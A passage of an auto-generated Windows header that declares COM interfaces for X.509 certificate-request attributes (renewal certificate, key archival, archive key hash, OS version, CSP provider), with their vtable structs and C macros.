This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeRenewalCertificateVtbl;\n\n    interface IX509AttributeRenewalCertificate\n    {\n        CONST_VTBL struct IX509AttributeRenewalCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeRenewalCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeRenewalCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeRenewalCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeRenewalCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeRenewalCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeRenewalCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeRenewalCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeRenewalCertificate_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeRenewalCertificate_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeRenewalCertificate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeRenewalCertificate_InitializeEncode(This,Encoding,strCert)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strCert) ) \n\n#define IX509AttributeRenewalCertificate_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeRenewalCertificate_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKey_INTERFACE_DEFINED__\n#define __IX509AttributeArchiveKey_INTERFACE_DEFINED__\n\n/* interface IX509AttributeArchiveKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeArchiveKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab327-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeArchiveKey : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IX509PrivateKey *pKey,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCAXCert,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ LONG EncryptionStrength) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionStrength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeArchiveKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeArchiveKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeArchiveKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeArchiveKey * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pKey,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCAXCert,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ LONG EncryptionStrength);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyBlob )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeArchiveKeyVtbl;\n\n    interface IX509AttributeArchiveKey\n    {\n        CONST_VTBL struct IX509AttributeArchiveKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeArchiveKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeArchiveKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeArchiveKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeArchiveKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeArchiveKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeArchiveKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeArchiveKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeArchiveKey_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKey_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeArchiveKey_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeArchiveKey_InitializeEncode(This,pKey,Encoding,strCAXCert,pAlgorithm,EncryptionStrength)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pKey,Encoding,strCAXCert,pAlgorithm,EncryptionStrength) ) \n\n#define IX509AttributeArchiveKey_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKey_get_EncryptedKeyBlob(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyBlob(This,Encoding,pValue) ) \n\n#define IX509AttributeArchiveKey_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509AttributeArchiveKey_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeArchiveKey_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__\n#define __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__\n\n/* interface IX509AttributeArchiveKeyHash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeArchiveKeyHash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab328-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeArchiveKeyHash : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncodeFromEncryptedKeyBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncryptedKeyBlob) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyHashBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeArchiveKeyHashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeArchiveKeyHash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeArchiveKeyHash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeArchiveKeyHash * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncodeFromEncryptedKeyBlob )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncryptedKeyBlob);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHashBlob )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeArchiveKeyHashVtbl;\n\n    interface IX509AttributeArchiveKeyHash\n    {\n        CONST_VTBL struct IX509AttributeArchiveKeyHashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeArchiveKeyHash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeArchiveKeyHash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeArchiveKeyHash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeArchiveKeyHash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeArchiveKeyHash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeArchiveKeyHash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeArchiveKeyHash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeArchiveKeyHash_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKeyHash_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeArchiveKeyHash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeArchiveKeyHash_InitializeEncodeFromEncryptedKeyBlob(This,Encoding,strEncryptedKeyBlob)\t\\\n    ( (This)->lpVtbl -> InitializeEncodeFromEncryptedKeyBlob(This,Encoding,strEncryptedKeyBlob) ) \n\n#define IX509AttributeArchiveKeyHash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKeyHash_get_EncryptedKeyHashBlob(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHashBlob(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeOSVersion_INTERFACE_DEFINED__\n#define __IX509AttributeOSVersion_INTERFACE_DEFINED__\n\n/* interface IX509AttributeOSVersion */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeOSVersion;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeOSVersion : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strOSVersion) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_OSVersion( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeOSVersionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeOSVersion * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeOSVersion * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeOSVersion * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in BSTR strOSVersion);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OSVersion )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeOSVersionVtbl;\n\n    interface IX509AttributeOSVersion\n    {\n        CONST_VTBL struct IX509AttributeOSVersionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeOSVersion_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeOSVersion_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeOSVersion_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeOSVersion_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeOSVersion_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeOSVersion_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeOSVersion_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeOSVersion_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeOSVersion_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeOSVersion_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeOSVersion_InitializeEncode(This,strOSVersion)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strOSVersion) ) \n\n#define IX509AttributeOSVersion_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeOSVersion_get_OSVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_OSVersion(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeOSVersion_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeCspProvider_INTERFACE_DEFINED__\n#define __IX509AttributeCspProvider_INTERFACE_DEFINED__\n\n/* interface IX509AttributeCspProvider */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeCspProvider;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeCspProvider : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ X509KeySpec KeySpec,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strSignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProviderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Signature( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeCspProviderVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeCspProvider * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeCspProvider * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeCspProvider * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            